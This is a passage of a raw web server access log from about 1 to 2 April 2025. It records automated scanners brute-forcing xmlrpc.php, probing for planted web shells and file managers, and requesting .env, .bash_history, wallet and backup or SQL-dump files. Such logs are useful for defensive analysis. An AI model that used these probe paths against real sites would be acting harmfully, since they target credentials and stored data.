HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.135.145.73 - - [01/Apr/2025:13:01:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2001:8d8:1800:2ef::1 - - [01/Apr/2025:13:14:24 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0" 162.0.217.136 - - [01/Apr/2025:13:41:47 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0.1) Gecko/20100101 Firefox/125.0.1" 47.242.209.147 - - [01/Apr/2025:13:46:37 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2820.155 Safari/537.36" 68.178.145.83 - - [01/Apr/2025:14:08:18 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.126 Safari/537.36 Edg/113.0.1774.50" 220.151.9.22 - - [01/Apr/2025:14:21:01 -0400] "GET / HTTP/1.1" 301 795 "-" "curl/7.29.0" 198.54.114.37 - - [01/Apr/2025:14:34:03 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" 199.188.207.168 - - [01/Apr/2025:14:59:05 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 173.212.223.204 - - [01/Apr/2025:15:23:57 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:125.0.1) Gecko/20100101 Firefox/125.0.1" 143.244.57.121 - - [01/Apr/2025:15:32:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.103.39.36 - - [01/Apr/2025:15:47:55 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 132.148.183.184 - - [01/Apr/2025:16:11:21 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.96 Safari/537.36 Edg/116.0.1938.62" 82.156.199.117 - - [01/Apr/2025:16:34:14 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.96 Safari/537.36" 172.177.70.225 - - [01/Apr/2025:16:55:30 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.177.70.225 - - [01/Apr/2025:16:55:36 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 172.177.70.225 - - [01/Apr/2025:16:55:37 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.177.70.225 - - [01/Apr/2025:16:55:38 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 172.177.70.225 - - [01/Apr/2025:16:55:38 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 172.177.70.225 - - [01/Apr/2025:16:55:39 -0400] "GET /WordPress/wp-admin/includes/zmFM.php HTTP/1.1" 301 795 "-" "-" 172.177.70.225 - - [01/Apr/2025:16:55:41 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 172.177.70.225 - - [01/Apr/2025:16:55:41 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 172.177.70.225 - - [01/Apr/2025:16:55:42 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 172.177.70.225 - - [01/Apr/2025:16:55:43 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 172.177.70.225 - - [01/Apr/2025:16:55:44 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 104.43.93.163 - - [01/Apr/2025:17:23:05 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0" 161.35.15.162 - - [01/Apr/2025:17:32:42 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.0.209.186 - - [01/Apr/2025:17:47:12 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:128.0) Gecko/20100101 Firefox/128.0" 162.213.255.38 - - [01/Apr/2025:18:11:23 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.96 Safari/537.36 Edg/116.0.1938.62" 120.71.59.24 - - [01/Apr/2025:18:15:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.209.222.50 - - [01/Apr/2025:18:21:55 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.209.222.50 - - [01/Apr/2025:18:22:00 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.209.222.50 - - [01/Apr/2025:18:22:02 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.209.222.50 - - [01/Apr/2025:18:22:07 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.209.222.50 - - [01/Apr/2025:18:22:11 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.209.222.50 - - [01/Apr/2025:18:22:12 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.209.222.50 - - [01/Apr/2025:18:22:13 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.209.222.50 - - [01/Apr/2025:18:22:15 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.209.222.50 - - [01/Apr/2025:18:22:17 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.209.222.50 - - [01/Apr/2025:18:22:20 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 162.0.217.136 - - [01/Apr/2025:18:35:41 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:129.0) Gecko/20100101 Firefox/129.0" 2001:8d8:1800:2ef::1 - - [01/Apr/2025:18:59:53 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 212.227.72.139 - - [01/Apr/2025:19:23:59 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0" 35.187.250.253 - - [01/Apr/2025:19:48:31 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0" 162.0.209.248 - - [01/Apr/2025:20:13:06 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 87.249.132.168 - - [01/Apr/2025:20:29:42 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 162.0.232.166 - - [01/Apr/2025:20:37:41 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0" 194.38.23.16 - - [01/Apr/2025:20:44:32 -0400] "GET /plugins/html5-file-upload/html5fileupload.php HTTP/1.1" 301 795 "-" "ALittle Client" 34.224.98.241 - - [01/Apr/2025:20:58:37 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "AdsTxtCrawlerTP/1.2" 34.224.98.241 - - [01/Apr/2025:20:58:41 -0400] "HEAD /ads.txt HTTP/1.1" 301 0 "-" "AdsTxtCrawlerTP/1.2" 34.224.98.241 - - [01/Apr/2025:20:58:43 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "AdsTxtCrawlerTP/1.2" 34.224.98.241 - - [01/Apr/2025:20:58:47 -0400] "HEAD /app-ads.txt HTTP/1.1" 301 0 "-" "AdsTxtCrawlerTP/1.2" 34.224.98.241 - - [01/Apr/2025:20:58:48 -0400] "GET /app-ads.txt HTTP/1.1" 301 795 "-" "AdsTxtCrawlerTP/1.2" 34.46.107.224 - - [01/Apr/2025:21:02:35 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0" 64.227.146.9 - - [01/Apr/2025:21:11:53 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 2605:6f00:1234:701:1::14d - - [01/Apr/2025:21:27:29 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:126.0) Gecko/20100101 Firefox/126.0" 159.223.205.36 - - [01/Apr/2025:21:36:07 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 185.36.145.205 - - [01/Apr/2025:21:52:22 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.96 Safari/537.36" 199.188.200.139 - - [01/Apr/2025:22:17:58 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 54.85.163.156 - - [01/Apr/2025:22:38:08 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 146.190.77.47 - - [01/Apr/2025:22:41:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.186.185.28 - - [01/Apr/2025:22:43:57 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0" 54.85.163.156 - - [01/Apr/2025:22:46:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 162.0.209.35 - - [01/Apr/2025:23:09:54 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.96 Safari/537.36" 198.54.114.56 - - [01/Apr/2025:23:36:10 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 49.238.228.30 - - [02/Apr/2025:00:02:01 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0" 198.54.120.87 - - [02/Apr/2025:00:27:39 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36 Edg/114.0.1823.67" 2.57.170.27 - - [02/Apr/2025:00:47:30 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 2.57.170.5 - - [02/Apr/2025:00:47:31 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.55.35.120 - - [02/Apr/2025:00:47:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 68.178.168.103 - - [02/Apr/2025:00:48:58 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13.3; rv:126.0) Gecko/20100101 Firefox/126.0" 43.157.168.43 - - [02/Apr/2025:00:52:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.148.164.166 - - [02/Apr/2025:01:13:56 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:125.0.1) Gecko/20100101 Firefox/125.0.1" 192.99.19.65 - - [02/Apr/2025:01:39:27 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0" 188.126.89.102 - - [02/Apr/2025:01:56:09 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 173.212.223.204 - - [02/Apr/2025:02:05:01 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36" 203.175.9.41 - - [02/Apr/2025:02:30:08 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:128.0) Gecko/20100101 Firefox/128.0" 146.70.246.135 - - [02/Apr/2025:02:32:06 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.246.135 - - [02/Apr/2025:02:32:07 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 2a02:4780:27:1262:0:d2a:1168:1 - - [02/Apr/2025:02:54:23 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0" 162.240.238.246 - - [02/Apr/2025:03:18:25 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:127.0) Gecko/20100101 Firefox/127.0" 45.13.191.104 - - [02/Apr/2025:03:37:41 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.13.191.68 - - [02/Apr/2025:03:37:42 -0400] "GET /old/index.zip HTTP/1.1" 301 795 "-" "-" 45.13.191.82 - - [02/Apr/2025:03:37:45 -0400] "GET /back/backup.sql.zip HTTP/1.1" 301 795 "-" "-" 45.13.191.84 - - [02/Apr/2025:03:37:48 -0400] "GET /www.tar HTTP/1.1" 301 795 "-" "-" 45.13.191.92 - - [02/Apr/2025:03:37:50 -0400] "HEAD /bak/sftp-config.json HTTP/1.1" 301 0 "-" "-" 45.13.191.91 - - [02/Apr/2025:03:37:51 -0400] "GET /restore/directory.tar HTTP/1.1" 301 795 "-" "-" 45.13.191.108 - - [02/Apr/2025:03:37:54 -0400] "GET /wallet.zip HTTP/1.1" 301 795 "-" "-" 45.13.191.12 - - [02/Apr/2025:03:37:56 -0400] "HEAD /backup/backup.sql HTTP/1.1" 301 0 "-" "-" 45.13.191.88 - - [02/Apr/2025:03:37:58 -0400] "GET /website.tar.gz HTTP/1.1" 301 795 "-" "-" 45.13.191.70 - - [02/Apr/2025:03:38:01 -0400] "GET /restore/directory.rar HTTP/1.1" 301 795 "-" "-" 45.13.191.12 - - [02/Apr/2025:03:38:04 -0400] "HEAD /backup/wallet.dat HTTP/1.1" 301 0 "-" "-" 45.13.191.84 - - [02/Apr/2025:03:38:05 -0400] "GET /backups/backup.rar HTTP/1.1" 301 795 "-" "-" 45.13.191.119 - - [02/Apr/2025:03:38:07 -0400] "HEAD /old/dump.sql HTTP/1.1" 301 0 "-" "-" 95.217.147.111 - - [02/Apr/2025:03:43:20 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 119.96.24.54 - - [02/Apr/2025:04:02:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 129.80.255.13 - - [02/Apr/2025:04:05:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 113.36.242.229 - - [02/Apr/2025:04:10:41 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36 Edg/115.0.1901.203" 70.32.112.201 - - [02/Apr/2025:04:11:05 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0" 85.206.169.156 - - [02/Apr/2025:04:12:57 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 85.206.169.156 - - [02/Apr/2025:04:13:00 -0400] "GET /restore/index.zip HTTP/1.1" 301 795 "-" "-" 85.206.169.157 - - [02/Apr/2025:04:13:04 -0400] "HEAD /back/config.json HTTP/1.1" 301 0 "-" "-" 85.206.169.154 - - [02/Apr/2025:04:13:04 -0400] "GET /public_html.tar HTTP/1.1" 301 795 "-" "-" 85.206.169.154 - - [02/Apr/2025:04:13:07 -0400] "HEAD /www.sql HTTP/1.1" 301 0 "-" "-" 85.206.169.153 - - [02/Apr/2025:04:13:09 -0400] "GET /old/bak.tar.gz HTTP/1.1" 301 795 "-" "-" 85.206.169.157 - - [02/Apr/2025:04:13:12 -0400] "GET /back/www.zip HTTP/1.1" 301 795 "-" "-" 85.206.169.153 - - [02/Apr/2025:04:13:14 -0400] "GET /backup/directory.tar.gz HTTP/1.1" 301 795 "-" "-" 85.206.169.154 - - [02/Apr/2025:04:13:16 -0400] "GET /backup/website.tar.gz HTTP/1.1" 301 795 "-" "-" 85.206.169.156 - - [02/Apr/2025:04:13:20 -0400] "HEAD /old/config.json HTTP/1.1" 301 0 "-" "-" 85.206.169.155 - - [02/Apr/2025:04:13:22 -0400] "GET /restore/www.tar.gz HTTP/1.1" 301 795 "-" "-" 85.206.169.155 - - [02/Apr/2025:04:13:25 -0400] "GET /restore/wallet.zip HTTP/1.1" 301 795 "-" "-" 85.206.169.155 - - [02/Apr/2025:04:13:26 -0400] "HEAD /bak/sql.sql HTTP/1.1" 301 0 "-" "-" 89.38.224.165 - - [02/Apr/2025:04:32:41 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 89.38.224.165 - - [02/Apr/2025:04:32:42 -0400] "GET /restore/application.zip HTTP/1.1" 301 795 "-" "-" 89.38.224.165 - - [02/Apr/2025:04:32:45 -0400] "GET /back/website.gz HTTP/1.1" 301 795 "-" "-" 89.38.224.166 - - [02/Apr/2025:04:32:48 -0400] "HEAD /old/config.json HTTP/1.1" 301 0 "-" "-" 89.38.224.165 - - [02/Apr/2025:04:32:51 -0400] "GET /bak/backup.gz HTTP/1.1" 301 795 "-" "-" 89.38.224.166 - - [02/Apr/2025:04:32:53 -0400] "GET /old/www.tar HTTP/1.1" 301 795 "-" "-" 89.38.224.166 - - [02/Apr/2025:04:32:55 -0400] "HEAD /back/mysql.sql HTTP/1.1" 301 0 "-" "-" 89.38.224.165 - - [02/Apr/2025:04:32:56 -0400] "GET /bak/www.rar HTTP/1.1" 301 795 "-" "-" 89.38.224.166 - - [02/Apr/2025:04:32:59 -0400] "GET /restore/backup.tar HTTP/1.1" 301 795 "-" "-" 89.38.224.165 - - [02/Apr/2025:04:33:00 -0400] "GET /website.zip HTTP/1.1" 301 795 "-" "-" 89.38.224.166 - - [02/Apr/2025:04:33:02 -0400] "GET /restore/archive.zip HTTP/1.1" 301 795 "-" "-" 89.38.224.165 - - [02/Apr/2025:04:33:04 -0400] "GET /restore/backup.sql.tar HTTP/1.1" 301 795 "-" "-" 89.38.224.165 - - [02/Apr/2025:04:33:06 -0400] "GET /restore/backup.gz HTTP/1.1" 301 795 "-" "-" 107.172.243.11 - - [02/Apr/2025:04:38:24 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 Edg/112.0.1722.68" 162.0.217.136 - - [02/Apr/2025:05:06:47 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13.3; rv:126.0) Gecko/20100101 Firefox/126.0" 185.192.70.49 - - [02/Apr/2025:05:10:55 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.192.70.47 - - [02/Apr/2025:05:10:58 -0400] "GET /bak.tar HTTP/1.1" 301 795 "-" "-" 185.192.70.57 - - [02/Apr/2025:05:11:01 -0400] "HEAD /bak/config.json HTTP/1.1" 301 0 "-" "-" 185.192.70.54 - - [02/Apr/2025:05:11:03 -0400] "GET /backup/backup.sql.zip HTTP/1.1" 301 795 "-" "-" 185.192.70.51 - - [02/Apr/2025:05:11:04 -0400] "GET /www.rar HTTP/1.1" 301 795 "-" "-" 185.192.70.49 - - [02/Apr/2025:05:11:07 -0400] "GET /backups/public_html.zip HTTP/1.1" 301 795 "-" "-" 185.192.70.35 - - [02/Apr/2025:05:11:09 -0400] "HEAD /backups/mysql.sql HTTP/1.1" 301 0 "-" "-" 185.192.70.49 - - [02/Apr/2025:05:11:12 -0400] "GET /backups/backup.zip HTTP/1.1" 301 795 "-" "-" 185.192.70.27 - - [02/Apr/2025:05:11:14 -0400] "GET /bak/bak.tar.gz HTTP/1.1" 301 795 "-" "-" 185.192.70.52 - - [02/Apr/2025:05:11:18 -0400] "HEAD /backups/www.sql HTTP/1.1" 301 0 "-" "-" 185.192.70.36 - - [02/Apr/2025:05:11:19 -0400] "GET /restore/www.rar HTTP/1.1" 301 795 "-" "-" 185.192.70.49 - - [02/Apr/2025:05:11:20 -0400] "GET /bak/directory.tar HTTP/1.1" 301 795 "-" "-" 185.192.70.54 - - [02/Apr/2025:05:11:22 -0400] "GET /backups/full_backup.zip HTTP/1.1" 301 795 "-" "-" 45.13.191.83 - - [02/Apr/2025:05:19:08 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 37.120.221.247 - - [02/Apr/2025:05:21:28 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 37.120.221.248 - - [02/Apr/2025:05:21:30 -0400] "GET /grimslut.com.rar HTTP/1.1" 301 795 "-" "-" 37.120.221.247 - - [02/Apr/2025:05:21:33 -0400] "GET /grimslut.com.gz HTTP/1.1" 301 795 "-" "-" 37.120.221.249 - - [02/Apr/2025:05:21:37 -0400] "GET /grimslut.com.zip HTTP/1.1" 301 795 "-" "-" 37.120.221.249 - - [02/Apr/2025:05:21:39 -0400] "GET /__MACOSX.zip HTTP/1.1" 301 795 "-" "-" 37.120.221.247 - - [02/Apr/2025:05:21:40 -0400] "GET /grimslut.com.tar.gz HTTP/1.1" 301 795 "-" "-" 37.120.221.247 - - [02/Apr/2025:05:21:43 -0400] "HEAD /wallet/log.txt HTTP/1.1" 301 0 "-" "-" 37.120.221.248 - - [02/Apr/2025:05:21:45 -0400] "GET /well-known%20(2).zip HTTP/1.1" 301 795 "-" "-" 37.120.221.249 - - [02/Apr/2025:05:21:47 -0400] "GET /well-known%20(1).zip HTTP/1.1" 301 795 "-" "-" 37.120.221.248 - - [02/Apr/2025:05:21:51 -0400] "HEAD /ftpsync.settings HTTP/1.1" 301 0 "-" "-" 37.120.221.247 - - [02/Apr/2025:05:21:53 -0400] "HEAD /.bash_history HTTP/1.1" 301 0 "-" "-" 37.120.221.246 - - [02/Apr/2025:05:21:55 -0400] "GET /.well-known%20(1).zip HTTP/1.1" 301 795 "-" "-" 37.120.221.247 - - [02/Apr/2025:05:21:58 -0400] "GET /well-known.zip HTTP/1.1" 301 795 "-" "-" 37.120.221.249 - - [02/Apr/2025:05:22:01 -0400] "GET /.well-known.zip HTTP/1.1" 301 795 "-" "-" 37.120.221.247 - - [02/Apr/2025:05:22:02 -0400] "HEAD /.env HTTP/1.1" 301 0 "-" "-" 37.120.221.249 - - [02/Apr/2025:05:22:04 -0400] "HEAD /grimslut.com.sql HTTP/1.1" 301 0 "-" "-" 45.8.17.116 - - [02/Apr/2025:05:23:40 